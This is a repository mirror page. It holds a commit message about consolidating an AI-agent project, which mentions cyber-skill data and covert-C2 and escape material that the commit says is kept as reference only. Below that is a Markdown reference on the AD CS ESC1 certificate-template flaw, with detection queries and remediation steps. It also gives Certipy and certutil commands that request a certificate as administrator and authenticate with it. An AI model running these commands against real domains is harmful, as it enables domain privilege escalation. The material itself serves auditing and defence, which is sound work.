mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
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24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
90 lines
2.1 KiB
Markdown
90 lines
2.1 KiB
Markdown
# API Reference: AD CS ESC1 Vulnerability
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## ESC1 — Enrollee Supplies Subject Alternative Name
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### Vulnerability Conditions
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1. Template allows enrollee to supply SAN (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`)
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2. Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2)
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3. Low-privileged users (Domain Users) can enroll
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4. No manager approval required
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## Certipy — AD CS Auditing Tool
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### Find Vulnerable Templates
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```bash
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certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerable
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```
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### Request Certificate with SAN (ESC1)
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```bash
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certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \
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-ca CORP-CA -template VulnerableTemplate \
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-upn administrator@domain.local
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```
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### Authenticate with Certificate
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```bash
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certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
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```
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## certutil — Windows Built-in
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### List Templates
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```cmd
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certutil -v -template
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certutil -catemplates
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certutil -TCAInfo
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```
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### Request Certificate
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```cmd
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certutil -submit -attrib "SAN:upn=admin@domain.local" request.req
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```
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## Certificate Template Flags
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### msPKI-Certificate-Name-Flag
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| Value | Name | Risk |
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|-------|------|------|
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| 0x00000001 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | CRITICAL |
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| 0x00010000 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME | CRITICAL |
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### msPKI-Enrollment-Flag
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| Value | Name |
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|-------|------|
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| 0x00000002 | CT_FLAG_PEND_ALL_REQUESTS (manager approval) |
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| 0x00000020 | CT_FLAG_AUTO_ENROLLMENT |
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## LDAP Queries for AD CS
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### Find templates with ENROLLEE_SUPPLIES_SUBJECT
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```ldap
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(&(objectClass=pKICertificateTemplate)
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(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))
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```
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### Find CAs
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```ldap
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(objectClass=pKIEnrollmentService)
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```
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## PowerShell — PSPKI Module
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### Install
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```powershell
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Install-Module -Name PSPKI
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```
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### Get Templates
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```powershell
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Get-CertificateTemplate | Where-Object {
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$_.Flags -band 1 # ENROLLEE_SUPPLIES_SUBJECT
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} | Select-Object Name, Flags, OID
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```
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## Remediation
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1. Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from template flags
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2. Require CA manager approval for certificate issuance
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3. Restrict enrollment permissions to specific security groups
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4. Enable certificate auditing (Event ID 4887)
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